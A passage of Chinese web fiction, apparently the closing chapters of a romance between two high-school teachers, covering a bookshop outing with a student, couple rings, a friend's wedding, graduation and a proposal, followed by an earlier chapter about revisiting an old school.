飞雪一看时间差不多了，说：“那两位老师再会，我先回去了，不然我妈该催我了。” 他还是个大学生呢，放假出门是需要报备的，元旦来这里本来是想买点东西回家，谁知道碰着自己的老师了。 飞雪走后，陶与晴用手肘怼了怼简璃的肩膀，说：“哎，刚才那些诗这么难，你都记得？” “有的确实是不太记得。” “嗯？那你是怎么答上来的。” 简璃只凑近陶与晴说：“想着不能在陶先生面前丢人，所以想起来了。” 陶与晴笑的爽朗，说：“你就在我面前好胜。” “嗯，只在你面前。” 两个人没再说一会恋人絮语，店员就把典藏图书包好拿过来了，接过奖品，陶与晴看这个书店规模挺大，就拉上简璃进去接着逛逛。 自从当了老师以后，进书店他都情不自禁的往教科书和真题那块走，很久没有逛过其他的休闲区域了。 他和简璃边逛边看着近段时间的小说，看见一本熟悉的封面，调侃简璃一开始还因为这本书和自己吵过架。 那本书曾经出现在了邓留萤的抽屉里，自那之后就再没看出现在学校了。 “其实这本书我看过，”简璃翻开面上的一本，说：“情节还是有些简单了，确实是毫无逻辑。” 陶与晴说：“我一个数学老师都没纠结这个，你一个语文老师居然在意上了。” 就像他一开始也完全没想到，自己会和离玉以一种异想天开的方式见面。 更没有想到会和眼前这个他曾经隔着人群遥遥相看的人共度余生。 人生有时候真是没有逻辑。 简璃还想说些什么，忽然看见了一个一闪而过的身影。 他一顿，陶与晴就问：“怎么了？” “……不确定，”简璃疑惑的说：“好像看见了个学生？” “嗯？” 陶与晴扭头朝简璃看着的那个方向望去，这里的书架层层叠叠，他转头的时候什么都没看见。 “可能是错觉吧，”简璃关上那本开启缘分的小说，“没看清。” 陶与晴也没并没有在意这么多，书店里有学生是再正常不过的事情了，尤其是假期，很多同学都会结伴过来，何况这个地位置这么好，外面就是小吃街。 简璃看错了也很合。 ……可是简璃会看错吗？ 他的眼神很好的啊。 陶与晴不过留了个心眼，和简璃走着走着，走到了动漫和名著专区。 这家书店的分类很紧凑，因为开放了很多其他的设施和休息间，所以放书的地方就被挤了挤。 不过看着一本本色彩丰富的二次元读物和色彩单一的古今名著放在一起，还是挺有视觉效果的。 陶与晴想走过去看看，一踏步一低头，看见了坐在书架之间，手里翻着一本少女漫画的少年。 简璃也同时愣住了，确定了刚才看见的那个身影就是他。 他手边还摆着基本未拆封的诗集，大概是付了钱了，店员特意用胶带粘了粘。 他正看的仔细，并没有察觉自己正在被两位老师饶有兴趣的盯着。 一直到太阳光线倾斜，他发现窗外的自然光被挡住了，才抬头。 这一抬头可给他吓得书都拿不稳了，不过他面上还算冷静，只是站起来，点头问好。 “陶老师，简老师……下午好。” “下午好啊一安，”陶与晴笑着看他，说：“来这里看书吗，你家长没有跟着？怎么不叫上小雨他们一起。” 姜一安耳垂微红，合上漫画书说：“我……自己来的，就是买几本书回去，然后就是……随便看看。” 察觉到他有点不好意思，陶与晴后退了一步，看了看简璃，说：“我们也是路过，刚才对诗赢了个奖品。” 简璃则是好笑又好奇的看了看他手里看了一半的漫画书，说：“怎么不一起买回去回家看，在这儿上演窃读记。” “……” 姜一安沉默片刻，耳朵红红的，说不出口。 陶与晴和简璃也没再继续这个话题。 陶与晴说：“那你别坐在地上了，地上凉，老师带你去那边的茶水间吧，我请客。” “……谢谢陶老师。” 简璃帮他把地上的书拿起来，安静的跟在陶与晴和姜一安后面。 陶与晴和姜一安讨论起那本少女漫画。 “这本我也看过，在软件上、评分挺高的——明年好像要改动漫了。” 姜一安虽说在之前知道了陶与晴和简璃接触这方面的事情，但是能和老师聊这个，还是非常难以置信的。 “……陶老师不会觉得，”姜一安怀里抱着一本粉色封面的漫画书，“男生看这个不太好吗。” “这有什么不好的呢，”陶与晴伸手摸摸他的后脑勺，说：“很多很可爱的动漫，也有男生在看呀，而且美好的感情、可爱的事物和精美的画面，每个人都可以去欣赏。” 他们来到茶水间坐下，陶与晴给姜一安点了一杯奶茶。 “其实我还有点高兴你有喜欢的东西，”陶与晴说：“之前见你跟个小大人似的，感觉你不像是这个年纪的孩子，现在觉得对了，就该是这样的。” 简璃补充：“只要不影响学习——适当的放松放松，也很好。” 陶与晴笑着问他：“带去学校也可以吗？” 简璃只说：“……如果是上课开小差的话，我还是会没收的。” “简老师，”姜一安直言：“您变了很多。” “有吗？”简璃看了看陶与晴憋笑的表情，只说：“那希望是好的方面。” “我记得，”陶与晴笑了一会，想到什么，说：“开学的时候问过，你好像是初中就一直是班长吧？” “……嗯，我一直是班长。” “你当的特别好，”陶与晴说：“还有你不知道吗，赵遇京那孩子，可喜欢一个女角色了，每次去漫展都要买她的周边呢，他天天烦你，你偶尔也可以去烦烦他。” “我……”姜一安默然片刻，说：“我很喜欢他们，比之前……。” 简璃：“之前？” 姜一安摘下眼镜，调整了眼镜腿，最终说：“之前小学初中的时候，我发育的很晚，身高一直比同龄人矮很多。” 小学大家都是差不多的小孩子，可是初中开始，身边的男生都在窜个子，姜一安不得不仰望其他人。 偶尔也会被笑话。 他只有次次考第一，站在讲台上领奖状的时候，才是俯看他人的。 所以他一直在考第一。 他融入不进去男生的话题，运动也不在行。 他喜欢玩的也不是打打杀杀的竞技类游戏，但是那些可爱风的游戏总是女生在讨论，他欲言又止的时候，偶尔还会听见几个嘴欠的男生嘲笑女同学。 然后他会转头制止他们，介于他的身份，也没有人自讨没趣继续。 认识吴尽夏之后他才知道，女生也可以打游戏操作很强，班里的同学好像对她没什么偏见，都挺喜欢她的。 可是…… 他还是不太敢承认自己喜欢柔软细腻的事物，他努力的学习就是为了不再仰望他人，也不确定自己格格不入的爱好会不会被人介意。 如果到时候，他又得抬头看人呢。 可他就是觉得这些东西很美好，路过的小猫小狗，精品店里的毛绒玩具……这算是一种错误吗。 “没有错啊，”陶与晴听完，拿出自己的手机，点开里面的小游戏，说：“这怎么会有错呢。” 姜一安捏着眼镜惊讶极了。 “陶老师，您也玩这个？” “我可是一百多级的老玩家了，”陶与晴嫌弃的看向简璃：“我们家这位先生倒是，帮我过关都是一顿乱搭衣服，哪里好看了。” “嗯——”简璃尴尬的看向远处：“分高就行了，你就说过没过去吧。” “吴尽夏可以喜欢在竞技游戏里挥洒热血，姜一安也可以在休闲游戏里感受美好，”陶与晴收起手机，拍了拍姜一安的手背，说：“这些都是自然而然的嘛。” 姜一安戴上眼镜，视线清晰了不少，抬头和陶与晴简璃平视，才发现原来自己已经长高了。 就算是坐着，也不用抬着头看别人。 姜一安戴上眼镜倒是笑了笑，这个笑带着自嘲又带着点玩闹，说：“……我年纪比他们小，会被笑吧。” 简璃说：“那多好，年纪小你就永远是他们的小班长了，以后出了社会，这一点也不会变。” 下午的阳光很适合看书，书店里人来人往熙熙攘攘，茶水区的师生三人聊着天，动漫和漫画，也聊以后想做什么，天马行空的念头从姜一安嘴里说出来，不知不觉就到了傍晚。 不同的是，姜一安走的时候，最终买下了那本漫画书。 陶与晴教姜一安在封皮上扎了个特别漂亮的蝴蝶结。 “回去路上小心点，”陶与晴把送的典藏周边也给了他，然后小声的告诉他说：“假期结束之后，记得来办公室帮我改改作业。” “嗯，”姜一安提着袋子后退两步，对陶与晴和简璃鞠了一躬，说：“老师再见。” 陶与晴倒是看着那少年离开的地方，很久之后才被简璃拉了拉。 “在想什么呢。” “在想世间万物终有穷尽，”陶与晴对着天边弥漫散开的夕阳感慨：“但是某时某刻的晚霞会刻在记忆里。” 简璃朝他一笑：“是怎么感慨到这个角度的。” 陶与晴只是摇摇头：“只是想到了你刚才说，他们出了社会以后那些话……就在想他们要毕业的时候，大概也是这么美的晚霞吧。” “对了，”陶与晴左右看了看，把简璃拉到一条小巷子里，变戏法一样从衣服里变出一个小巧的盒子，说：“跨年礼物。” “这是……” 简璃打开那个四四方方的盒子，里面居然安静的躺着一只戒指。 款式简单大方，内圈刻着一个“玉”字。 陶与晴那款，想必刻的是“光”吧。 “情侣的，”陶与晴晃了晃自己的手，刚才他趁简璃惊讶，偷偷带上了：“定制的。” “……你真的好会啊，陶老师，这个很作弊。” “实在想不到送什么了，”陶与晴可是藏了一路呢，扬了扬头说：“作弊就作弊吧。” 简璃戴上那枚戒指，把盒子也踹进大衣口袋里，微微低头：“莫非陶老师在求夸？” “没错，就是求夸，只准你邀功不准我邀功吗？” “我很喜欢，”简璃低头亲亲他，又执起他的手吻在戒指上，说：“算求婚吗？” “当然不算，只是承认你是我男朋友了，求婚当然要更浪漫点了。” 简璃难受：“所以说我之前一直没被承认？” 陶与晴给他顺毛：“之前是我个人认证，现在是面向全世界认证了。” 简璃又亲亲他的额头：“好好好，你总是有道。” 谁也没打破这份意境，简璃和陶与晴牵着手回去，背后是整片烂漫夕阳。 一天后简璃和陶与晴就打算回去了，边雅丹这次比之前还热情，硬是要把家里的家具也打包给简璃带回去，陶与晴极力的制止，最后才从玄关处脱身。 “下次还来啊，简老师，”边雅丹站在阳台探头朝底下喊：“就和回自己家一样的。” “谢谢师娘。” “妈——您别看了。” 假期最后一天简璃和陶与晴哪也没去。 单纯的窝在一张懒人沙发里，一起什么都不干。 陶与晴窝在他怀里玩手机，简璃一手抱着他一手捏着一本书，那枚戒指在他手上泛着光泽。 陶与晴的换装游戏再次卡关，不甘心的咂咂嘴，递给了简璃。 简璃接过，又是根据各种数值选出了一套五花八门的搭配，意外的过了。 陶与晴看了看简璃，又看了看手机上金色的胜利界面。 ……这样子玩下去，自家审美还挺在线的男朋友该不会被影响到吧。 还是不给他玩了、不给他玩了。 开学回到学校，陶与晴路过窗边看见姜一安把那本漫画书递给邓留萤，邓留萤两眼放光和吴尽夏说着什么，赵遇京凑上去想抢着看…… 陶与晴欣慰的笑笑，真好啊，有能分享所有爱好的好朋友真是一件好事。 他情不自禁哼起淡淡的旋律，从走廊上路过。 他和简璃的对戒早上就被发现了，但是其他同事一点也不意外。 不如说他们现在才高调起来，反而比较意外。 按来说应该谈了很久了吧？搞不懂年轻人的情趣了，喜欢地下恋？ 陶与晴还没走到办公室呢，就看见班上的杨以心抱着一堆书摇摇晃晃的朝着教室走。 陶与晴刚想走过去帮她一把，还没靠近，书就掉下来撒了一地。 陶与晴只好过去蹲下身子帮她捡起来。 “谢谢陶老师，”杨以心说：“我想一次性搬完的，结果高估我自己了……” 是楼上历史老师和生物老师的作业，估计是刚好杨以心上去，两个人就让他一起拿过来了。 重新把作业本放好，陶与晴意外捡到了一张纸。 这个不是…… 之前他给杨以心改过的那张画嘛，没想到这丫头还留着，还夹在了作业本里。 “抱歉抱歉陶老师，那个也是我的，”杨以心接过那幅被修改过的画，说：“我夹在书里忘记拿出来了。” 陶与晴问：“你很喜欢这幅画？” 杨以心连忙点点头说：“嗯嗯，我觉得这个改画……画的特别好。” “你也画的好，我们班黑板报一直很好看，是你负责的吧？” “是，但也不是我一个人，有很多同学都帮忙了，”杨以心说：“谢谢陶老师。” “不客气，”陶与晴冲她点点头：“我帮你一起拿回去吧。” “嗯。” 不过教室里，陶与晴走的时候，杨以心看了他好几眼，欲言又止，最终什么都没说。 陶与晴回到办公室，简璃一眼看出来他心情好得很，一边批作业一边问：“发生什么了。” “遇见了两个开心的事情，”陶与晴坐下，喝了口水，说：“认识这些孩子真好啊。” 简璃抬眼，无奈的摇摇头：“要是他们一张卷子写到最后也可以和写数学一样精力充沛就好了，字都越写越歪。” “简老师，”陶与晴笑着说：“您这是点我呢，觉得我们数学不用写长篇大论是吧？” “不敢不敢，”简璃说：“我这个人，就喜欢数学。” “这样的话，我爸……要哭晕在书房了。” 两个人一边闲聊一边面对面改学生作业，简璃改着改着手机屏幕亮起一通电话。 “……无梦？”简璃念出这个名字，陶与晴抬头好奇的看过来。 陶与晴：“找你什么事呀？” “我问问。” 简璃接通电话，听对面说了什么，简璃回答基本上都是点头和嗯。 不过陶与晴还是能看出来简璃稍微有些吃惊的。 等他挂了电话，陶与晴才再次用询问的目光看向他。 “无梦和我说，她们要结婚了，就在二月份，年后。” 第64章 （正文完） 第64章 （正文完） “结婚？”陶与晴又惊又喜，说：“这是一个好消息啊。” “是，地点在京都，邀请我们去参加。” “一定包个大红包。” 无梦说她们的婚礼没那么多规矩，喜欢就来，不用登记，没请几个亲戚，大部分都是好友，大家随意就好。 简璃：“真好啊，这么多年终于结婚了。” “你羡慕了？”陶与晴笑笑。 “羡慕个30%吧，”简璃回复完无梦，把手机丢进抽屉里，说：“拐走扶光，骄傲70%。” 陶与晴笑骂他一句：“你这是得了便宜还卖乖啊。” 陶与晴和简璃今晚都没有晚自习，想着把卷子批完了再回去，办公室里就剩他俩，两个人都没说话，各自做各自的事情。 “陶老师？”邓留萤来到办公室发现他们还没走，庆幸极了，说：“陶老师简老师，你们在忙吗？” “不忙，”陶与晴刚还改完最后一道应用题，放下笔说：“怎么了。” 简璃则挑眉：“又闯祸了？” “不、不是啦！”邓留萤伸手把门那边躲着的杨以心拉过来，说：“是她有问题想问你们……哎呀别怕，你去你去。” 邓留萤把她推进来，挥挥手说：“那我先回教室啦，你们聊。” “怎么了，小杨。”陶与晴看她不太好意思说，示意简璃搬了张凳子过来。 简璃：“坐。” 杨以心抱着一个本子，唯唯诺诺的坐下。 “老师……”杨以心平时挺娇气的，约莫是泪失禁的体质，很多时候一激动就容易掉眼泪。 她刚坐下眼睛就红了，陶与晴连忙抽纸给她，又发现她没哭。 “谢谢老师，我就是想来问问……”杨以心鼓起勇气，说：“明年就高三了，我怕再不问就来不及了……您二位觉得，我能做——” 她把本子递给陶与晴，陶与晴接过来翻开，里面是她画的各种图画。 “其实我学这个也挺久了……”杨以心说：“初中的时候还好，还能兼顾学业和画画，但是高中之后……越来越兼顾不了了，我爸妈也在说我成绩平平怕我考不上好大学、以后找不到好工作，可是……我一直想试试，去做个……” 她有点羞耻于说出那个名词，感觉像是痴人说梦。 “……画家……之类的……我爸妈说让我艺考加分，但是我说我想做这行，他们不太支持……” “老师想和你确认一件事情，”陶与晴放下她的画册，说：“你确定你很喜欢画画，喜欢到愿意为它承担很多后果吗。” “这条路是条荆棘小道，”简璃也说：“没有绝对的坚持和毅力，是做不了这一行的。” “我很喜欢，”杨以心不假思索的点点头：“这辈子，只喜欢那么一件事情……如果一定要选这件事是什么，我一定会选画画，我知道不容易，我学过来的时候就感觉到了，但是我还是……” 还是想画画。 “我的父母态度很摇摆不定……”杨以心说：“所以我有点迷茫，我也不知道该遵循自己的内心，还是听长辈的安排……我就想着找您还有简老师聊一聊……” 陶与晴和简璃都是很好的老师，班上的同学都这样觉得，有目共睹。 杨以心实在不知道该问谁了，眼看就要高三，压力越来越大…… 她知道这些也不是老师可以帮她做决定的，但是她一肚子苦水不知道往哪里吐。 并且她潜意识里，想得到些支持。 若是都反对…… “从一种稳健的角度，我会说希望你借着加分，报考一个好就业的专业，考个好大学，出去找个好工作……” 杨以心听陶与晴这么说，骤然失望。 “……可是你看，你听见这些话的时候，表情很难过吧。” 杨以心眼神又亮了亮。 “你的水平真的很不错，老师希望你开心，而不是顺应社会，”陶与晴把画册还给她，说：“你有这么坚定的想法，不要等到回不来了再后悔……当然，如果累了、要记得休息。” 简璃：“‘道阻且长，行则将至，行而不辍，未来可期’，出自《荀子修身》，‘大鹏一日同风起，扶摇直上九万里’，出自《上李邕》，你能明白这两句的意思吗？就当课后作业了。” “这是你的选择，不管以后实际上做了什么，有没有成功，老师都支持，”陶与晴说：“有任何想不通的地方，都可以随时来问我们，这条路需要你自己努力，但是老师——可以做你的后盾。” “说起来，”陶与晴想到什么，说：“我们认识一个很厉害的画家年后要结婚，二月份刚好是寒假，如果你心里忐忑，有时间和我们一起去京都，问问她说不定能给你一些启发。” 杨以心点点头，抱着画册，她心里真的好受多了。 “谢谢简老师，谢谢陶老师，我一定抽空。” 杨以心小跑到门口，又扭头，说：“陶老师，你帮我改的，特别特别好。” 原来这小丫头早就知道了啊。 陶与晴和简璃对视一眼，没忍住互相笑了出来。 简璃：“实不相瞒，我当时就看见了。” 陶与晴：“噢——那我有由怀疑是你告诉她的了。” 简璃：“我真是冤枉了，不难猜，你看咱们班上还哪个比较有艺术细胞的？” 陶与晴：“那为什么不猜你呢。” 简璃：“因为我最多在他们纸上打个叉。” “哈哈哈。” 今年祁城没有下雪，整个冬天过的挺暖和的。 期末考试学生们稳定发挥，值得一提的是，赵遇京意外的稳定在了班级前十的位置。 这小子的成绩一直是个迷，主要他太跳脱，时不时就容易超鬼。 但今年他大概率能过个好年了。 过年简璃没回家、因为他有了新的去处。 本来他挺担心姐姐要是回家，没有他来分担父母的火力，会不会…… 然而他这时才知道，原来简珺结婚以后也每年坚持回去，也是因为自己的弟弟。 姐弟俩回去的由简单又统一，陶与晴听后哭笑不得，又有点小感动。 不过选择简璃已经不是孤身一人了，他可以拉着简璃的手，邀请简珺薛子实他们来自己家吃顿饭，聊聊天。 “漂亮舅妈！” “瑞瑞，”陶与晴在楼下接到他们，蹲下身子对薛瑞说：“有没有想我呀？” “想了想了，”薛瑞蹭到陶与晴身上，说：“舅舅可坏了，每次我给他打视频，他都不让我看你。” 简璃敲敲他的脑袋：“那是你太吵了，打扰人家休息。” “陶老师，”简珺挽着薛子实说：“那我们今年就叨扰了。” “哪里哪里，”陶与晴抱着薛瑞站起来，说：“快进去吧，我爸妈就喜欢热闹。” 简璃伸手把薛瑞接到自己怀里，说：“一上来就赖着人家，嗯？” “舅舅小气死了。” 陶与晴伸手去帮简珺薛子实拿东西，说：“太客气了，来就来了还带什么东西。” 薛子实：“都是一家人，这算什么，也恭喜你们两个，什么时候办喜酒？” 简璃：“……姐夫。” 陶与晴：“我们、我们还没呢。” 他们只是要去参加别人的喜酒了。 薛瑞这孩子鬼精鬼精的，嘴甜的很，一到家就俘获了所有人的芳心，看得简璃一愣一愣的。 这孩子…… 甚至薛瑞晚上在桥边放烟花还偷偷的和简璃说。 “舅舅终于追到舅妈哥哥了，舅舅真慢啊。” “……”简璃拳头硬了，要不是还在大过年的，一定把这孩子拎起来打屁股。 “尽给我学些乱七八糟的。” “这是天赋啊舅舅。” “还天赋，信不信我给你加buff？” 薛瑞缩了缩脖子，说：“我要去和舅妈哥哥放烟花了。” 陶与晴带着薛瑞玩儿了一会，见他拿着烟花去找边雅丹和简珺了，回头看了一眼站在一旁的简璃。 他点燃一支仙女棒走过去，说：“去年你的愿望，有实现吗？” “每天都实现，”简璃伸手拉过他，说：“你果然是魔法师。” “和我有关？许的什么啊。” “许你——”简璃搂过他：“顺遂无忧，平安健康，执子之手，与子偕老。” 陶与晴手里的烟花燃尽了，刚好回抱住简璃。 “我也许了个愿。” “是什么。” “我们一起，教书一百年吧。” 无梦的婚礼在京都，知道简璃和陶与晴要带个小姑娘来，没什么意见。 最关键是，她听说这姑娘喜欢画画。 杨以心是到了那地方，才发现原来结婚的是两个女孩子。 并且其中一位新娘还是圈里小有名气的插画师无梦！ 也不知道自己的老师是怎么认识这样的朋友的，换作以前她不敢想。 “你喜欢画画，”无梦今天的造型和以前的风格不同，一身白裙尽显温柔，头发也盘起来了，端庄窈窕，看了一眼杨以心的练习本，说：“很好啊。” “……可是好多人都说，坚持不下来。” 杨以心觉得她好漂亮，她爱人也是，长长的头发带着点自然卷，和无梦气质不同，笑起来甜甜的。 杨以心都有点不好意思了，要不是陶与晴和简璃在不远处，她可能还没勇气聊这个。 “我爸妈也觉得，不如正经的工作稳健……可是就算如此，我还是想去看看那条路上的风景，哪怕是条荆棘小路……这样想会不会有点傻？” 毕竟她又不是什么热血漫画的主角。 “和我当初一样，”无梦放下酒杯，坐在她旁边说：“横冲直撞，不顾别人反对，每天闷在画室里，大家都说我是怪胎，还有说我是艺术狂人的。” “日子难熬，一开始身上的毛病一天比一天多，有时候跑的太快也不知道是为了什么，全凭一腔热血和一股坚持劲儿，但总觉得天底下这样的人也不少，放弃的人、可就看不见山顶的彩虹了。” “您也有过这种烦恼吗？” “再厉害的人都会有的，但我不太在乎，比起在青春年华听别人的发言，不如捂住耳朵闭上眼睛，专心感受自己心跳的声音，”无梦闭上眼，安静的和杨以心坐了一会，“我的这颗心脏，注定要为色彩与线条、还有我的爱人而跳动，你呢？” “……为自己。” “说得好，我欣赏你，加油吧，做你想做。” 无梦到了一杯果汁，和杨以心捧杯，说：“对了、你等一下，我找张纸，送你个小礼物。” 无梦现场画了一副画送给杨以心，她画了个伸手去摘星星的女孩子，在黑夜与洪荒里。 就用这短短几笔，把艺术家的娴熟技巧体现的淋漓尽致。 条件有限没有上色。 无梦郑重的把这幅画交给杨以心：“颜色，就交给你去填上吧。” 陶与晴和简璃聊着聊着突然看见了不远处小姑娘的笑容。 承载的她美好的未来和梦想。 灿烂笑容背后是她决定要去看山上的风景，越过无数艰难险阻。 一定会有所作为的。 陶与晴衷心祝福她。 简璃也看见了，握住陶与晴的手。 这两双手，也承载了很多人的未来。 简璃说：“他们以后都会越来越好的。” “当然，”陶与晴和他十指紧扣：“我相信。” 相比于高二，高三的生活着实不太轻松，简璃和陶与晴忙的都没有时间策划别的，更别说即将前往战场的学生们。 忙里偷闲，才能趴在桌子上睡一会。 努力和汗水也最终化作一颗颗种子，在地上生根发芽，开出不可思议的花。 高考前最后一堂课，陶与晴在黑板上点了点，终究还是没写下来题，而是在黑板上写下金榜题名四个大字。 转身说：“大家自习吧，放轻松，老师永远相信你们。” 陶与晴之后简璃走进来，画风完全不一样：“翻开课本，赶紧多看两眼，多背多记，记不住的你就跳过别做，先做会做的，听见了吗？还有什么问题要问的赶紧上来问，后面阅读解题不会做的留着，把作文先给我写完……” 简老师，您刚才好像念了一段rap啊。 大考过后，休息了几天，学校举办了一场毕业典礼。 这是他们最后一次回到这里，陶与晴走进教室，就感觉到气氛比考前都沉重。 一个个的都低着头不说话，根本不像是考试后轻松的样子。 “……” “……陶老师。” 有人率先叫了一声，陶与晴就看见好几个人绷不住掉眼泪了。 “本来还想先说说别的，”陶与晴无奈的摇摇头，说：“既然如此，大家伸手摸摸课桌里，老师给你们每个人都准备了毕业礼物。” 同学们这才纷纷伸手，把课桌深处的东西拿出来。 每个人都是一个小玻璃瓶。 瓶子里面连接瓶塞，挂着一个小卡片。 上面居然是不同的简笔画，简笔画背后还是不同的祝福语。 赵遇京的画了一个小王冠，吴尽夏的瓶子里画着绣球花，宁雨的是一朵冒出小太阳的云，杨以心的瓶子里画了个画笔，写着【以心照身，径情直遂】…… 陶与晴本想说些什么安慰大家，讲一下这个礼物的用意。 结果他都没说话，教室里直接就是一阵阵哭声此起彼伏。 本来想安抚大家情绪的，怎么情绪更大了…… “吵什么，整个楼道就你们班声音最大，”简璃从后门走进来，哭声渐渐小了，他们看见简璃难得不慎人的笑，“多大人了，还哭鼻子。” “呜呜呜简老师！” “呜呜呜呜……” 陶与晴借此机会，才得已说出话来：“恭喜你们，高考结束之后大家好好的休息休息……” 说着说着，陶与晴也觉得有点说不出话了。 他和简璃都是经历过相同场景的人，可是每次都还是觉得…… 简璃站在后排：“毕业快乐。” 教室里静默了一会，听见下面的广播开始喊，该下去听毕业演讲、拍毕业照了。 陶与晴拍了拍手，把教室里难过的气氛拉回来一点，说：“走吧，大家开心点。” 不止毕业照，还有很多学生拿自己的手机在操场上拍着各种不同的东西。 学校的一草一木，一花一人，在这里待了三年，从没觉得有那么多值得留恋的东西。 邓留萤手里拿着自己的瓶子，拍完毕业照就抱着陶与晴哭的稀里哗啦的。 她这一哭吴尽夏也绷不住了，拉着简璃说：“简老师……我舍不得你们——” 简璃拍拍她的背：“又不是见不着了，好了好了。” 陶与晴拿出纸巾递给邓留萤，说：“不哭了，毕业了该高兴才对。” “就是……”赵遇京眼睛红红的，说：“干嘛啊，这、搞这种煽情的是吧……” 宁雨站在旁边默不作声盯着自己的瓶子，还有里面陶与晴画的简笔画和祝语。 姜一安在旁边温声道：“以后还能见面的。” “不一样！”邓留萤揩了揩鼻涕，说：“以后、以后就不是2班的学生了……” 赵遇京眨了眨微红的眼眶：“……以后是一般的学生。” 邓留萤伸手去揍他：“你不要破坏气氛！” 宁雨：“陶老师简老师……我、我们会经常回来看你们的。” “随时欢迎，”陶与晴朝他笑了笑：“我们不嫌烦。” “那边的——快过来拍照啊！” 陶与晴推推邓留萤，说：“快去吧，和同学们多合影，留纪念。” 孩子们朝着那边走过去合照，陶与晴朝后倚靠在一处栏杆上。 然后他看见了远处渐渐往下躲的太阳，天边的云逐渐染了色。 夏天的黄昏尤其漫长，估计能持续到晚上。 “吴尽夏越来越活泼了，宁雨和姜一安也是，会说话了……”简璃走到他旁边，递给他一瓶桃子味的汽水。 陶与晴接过那瓶瓶身还有水汽的汽水，喝了一口。 “他们的未来一定很美好，”陶与晴看向简璃，说：“终于又带过一届高三，简老师暑假想到怎么休息了吗？” “有一个想法，还没实施。”简璃看了一眼在远处拍照的学生们，悄悄捂住陶与晴的眼睛。 其实他早就想了，只不过这一年半载太忙了，陶与晴手伤反反复复，两个人都没怎么活跃在公众视野，简璃也不舍得让他分心。 “第十年了，陶老师，”简璃隔着手背和他碰额头，轻声说：“我有幸邀请你共度余生吗？” 陶与晴很是惊讶，黑暗中感到自己手上的戒指被取下来了，换上了另一个冰凉的东西。 简璃松开手，陶与晴适应了一下光线，才看清——是汽水的拉环。 陶与晴笑了：“你的求婚戒指……不专业啊简老师。” “谁说的，仔细看看呢。” 陶与晴抬手一动，原来拉环下面藏着的，是一枚真戒指。 把汽水拉环拿下来，和他送简璃的款式不同，但是都不张扬，设计的大方低调。 “所以，浪不浪漫不太清楚，”简璃牵起他的手，在操场的一角单膝跪下，说：“但是趁着这个氛围，我也能作一次弊吗？答应我。” 陶与晴笑的眼泪都出来了，用力把他拽起来，环上他的脖颈，说：“我不答应你，还能答应谁呢。” 简璃抱住他：“那就只好答应一个叫离玉的家伙了。” “坏死了，合着我不管是陶与晴还是扶光，都得和你结婚？” “当然了，我承包了你的所有后半生，”简璃扶着他的腰，亲亲他的眼睛，说：“你学生来了也不让。” “啊啊啊老师你们都在撒狗粮！” “简老师！放开那个陶老师！” “我还想哭呢呜呜你们别太甜了吧！” 不远处一群学生已经发现了角落里的小秘密，不敢说话，确认无误后，朝着他们跑过来，陶与晴不好意思的松开手，又被简璃搂紧了。 “说了，你学生来了我也不让。” 幼稚鬼…… 陶与晴简直哭笑不得。 他闭了闭眼：“我愿意。” 简璃：“嗯，我知道。” 夕阳蔓延开来，最后的最后邓留萤拉着陶与晴简璃和他们一起合照。 她特意带了拍立得，他们两个被几个孩子围在中间，邓留萤定好拍立得的时间，迅速跑过去。 “三二一……玉光99——！” 陶与晴感到闪光灯咔嚓了一下，才发觉这几个孩子喊的口号是这个。 简璃嗤笑一声：“一群人小鬼大。” 人也不小了，简老师。 而陶与晴和简璃看见照片的那一刻，不约而同的对视一笑。 照片里，陶与晴和简璃在最前排肩膀靠肩膀，后面的几个人都在给他们比心。 邓留萤在两个人中间，比了个大大的爱心，赵遇京笑的最灿烂，在侧面wink，两只手比了个爱心，宁雨在下面的角落，别别扭扭的小爱心，吴尽夏在邓留萤旁边，比的最规矩，笑意明显，姜一安不会，在另一个角落比了个奇形怪状的心，表情还有些苦恼。 赵遇京捧腹大笑：“哈哈哈哈小班长你那是什么。” 姜一安尴尬的推了推眼镜：“看得出来就行了吧。” 邓留萤挤兑过去：“赵遇京你踩到我了！” 吴尽夏说：“但是拍的很好啊我觉得。” 宁雨护着前面要被挤倒的拍立得：“……你们别挤了、快把照片拿出来。” 这照片还真是…… 陶与晴把决定给它找一个好一点的相框存放。 邓留萤洗了好几张出来，发给几个人，最后发到陶与晴和简璃的时候，忍不住又擦了擦眼泪。 她郑重的把照片递过去，说：“谢谢你们，这是我……不，这是我们，度过的最美好的高中，真的真的。” 三年前踏入那次漫展的时候，她还不知道未来会有什么等着她。 原来是上天给她的最好的青春。 【意留光点，亘古灿烂】 她收到过最好的祝福语。 简璃接过照片：“那可就不能抱怨我了。” 邓留萤笑了笑：“我们开玩笑的，简老师。” 陶与晴笑着说：“毕业快乐。” 毕业快乐。 ——最可爱的孩子们。 50-60 第51章 简璃拉着陶与晴的手站起来，也尴尬的眼神乱飘。 “没事，草地很软……没摔到吧？” “嗯……” 陶与晴抿了抿嘴，抬眼，看向简璃后面的操场和教学楼，说：“这就是你之前工作的高中，装修的还挺好。” “是，”简璃转身，他已经许久没回来了，的确有点恍惚感，“但徒有其表。” 陶与晴一是沉默，过了一会说：“我们到处走走吧。” “好。” 陶与晴不知不觉走在简璃前面，简璃在后面跟着他，不紧不慢。 这里的格局和装修风格和祁城都不太一样，祁城的学校更老派一些，不怎么装修，而这里似乎每年都会翻新一下，看起来更气派。 陶与晴走过操场，回头发现简璃站在一处没再跟着。 于是他退回去，跟着简璃的视线朝上看，说：“怎么了？” 简璃望着一栋教学楼的楼顶，说：“那天下了点雨。” 陶与晴知道他在说什么，心照不宣。 “雨水混着汗水太滑了，”今天是明媚的好天气，阳光有点晃眼，但是简璃还是目不转睛盯着那处，“……也可能是她根本没想活下来。” 简璃感觉到自己的眼镜被摘下来，然后一只手捂住了自己的眼睛。 陶与晴的声音混着蝉鸣进入耳朵。 “你听，听见了什么。” 简璃默不作声，仔细感受，他不知道自己该听见什么，他什么都听见了。 如果要概括……应该是夏天的声音。 “……什么？” “是她在说，谢谢你，看见你现在很好，她很高兴。” 简璃笑了：“你怎么知道？” “我就是知道。”陶与晴松开手把眼镜还给他。 两个人坐在教学楼下面的台阶上，这里遮挡了太阳，不晒人。 “原本那底下有好几簇花，现在也没了。” “那边是食堂，再过去是宿舍，还有篮球场。” 简璃絮絮叨叨了说了些乱七八糟的，他这个样子难得一见，陶与晴安静的听。 他眼里却满是简璃碎碎念的样子，看他说他的过去。 “高三有个小子，某天来办公室对着我拜了一下，我问他干什么，他说他在做题和作弊中间选择了做法。” “哈哈哈哈……你就没打他？” “我罚他练习册往后再做十页，”简璃说：“我不太记得他的名字，但是这件事我记忆犹新。” 学校和规矩都是死物，但是人是活的。 